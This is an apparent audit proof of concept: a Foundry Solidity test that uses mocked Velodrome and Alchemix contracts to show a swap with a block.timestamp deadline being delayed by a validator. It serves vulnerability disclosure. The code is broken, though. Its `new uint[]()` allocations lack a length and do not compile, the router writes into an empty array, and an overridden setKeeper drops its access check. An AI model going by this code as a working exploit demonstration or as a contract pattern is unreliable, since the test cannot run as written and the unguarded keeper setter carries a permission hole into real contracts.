In PoS chains, validators can hold transactions and execute them at advantageous timestamps since they know their block proposal slots in advance.
pragma solidity 0.8.18;
import "forge-std/Test.sol";
import "forge-std/console.sol";
contract BaseStrategy {
address public management;
constructor() { management = msg.sender; }
modifier onlyManagement() {
require(msg.sender == management, "!management");
_;
}
function setKeeper(address) external virtual onlyManagement {}
}
interface ITransmuter {
function syntheticToken() external returns (address);
function underlyingToken() external returns (address);
function claim(uint256, address) external;
function deposit(uint256, address) external;
function getUnexchangedBalance(address) external view returns (uint256);
}
interface IVeloRouter {
struct route {
address from;
address to;
bool stable;
}
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
route[] calldata routes,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
contract MockTransmuter is ITransmuter {
function syntheticToken() external pure returns (address) { return address(0x3); }
function underlyingToken() external pure returns (address) { return address(0x5); }
function claim(uint256 amount, address) external {
console.log("Claiming amount from Transmuter:", amount);
}
function deposit(uint256 amount, address) external {
console.log("Depositing to Transmuter:", amount);
}
function getUnexchangedBalance(address) external pure returns (uint256) { return 0; }
}
contract MockVeloRouter is IVeloRouter {
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
route[] calldata,
address,
uint deadline
) external returns (uint[] memory) {
console.log("\nVelo Swap Details:");
console.log("Timestamp at execution:", block.timestamp);
console.log("Deadline used:", deadline);
console.log("WETH amount in:", amountIn / 1e18, "ETH");
console.log("Min alETH out:", amountOutMin / 1e18, "alETH");
uint[] memory amounts = new uint[]();
amounts[0] = amountOutMin;
return amounts;
}
}
contract StrategyOp is BaseStrategy {
address public keeper;
MockVeloRouter public router;
MockTransmuter public transmuter;
constructor() {
router = new MockVeloRouter();
transmuter = new MockTransmuter();
}
function setKeeper(address _keeper) external override { keeper = _keeper; }
function claimAndSwap(uint256 amount, uint256 minOut, IVeloRouter.route[] calldata path) external {
console.log("\n=== Optimism Strategy Swap ===");
console.log("Block timestamp:", block.timestamp);
transmuter.claim(amount, address(this));
router.swapExactTokensForTokens(amount, minOut, path, address(this), block.timestamp);
transmuter.deposit(minOut, address(this));
}
}
contract TimestampManipulationOpTest is Test {
StrategyOp strategy;
address keeper = address(0x1);
function setUp() public {
strategy = new StrategyOp();
vm.prank(strategy.management());
strategy.setKeeper(keeper);
}
function testVeloRouterTimestampManipulation() public {
uint256 amountClaim = 5 ether;
uint256 minOut = 5.1 ether;
IVeloRouter.route[] memory path = new IVeloRouter.route[]();
console.log("\n=== Velodrome Timestamp Manipulation PoC ===");
vm.warp(1000);
uint256 intendedTimestamp = block.timestamp;
console.log("Keeper submits at timestamp:", intendedTimestamp);
console.log("\nValidator manipulation in progress...");
vm.warp(block.timestamp + 2 hours);
console.log("Time delayed by:", (block.timestamp - intendedTimestamp) / 3600, "hours");
vm.prank(keeper);
strategy.claimAndSwap(amountClaim, minOut, path);
assertTrue(block.timestamp > intendedTimestamp + 1 hours, "Manipulation failed");
}
}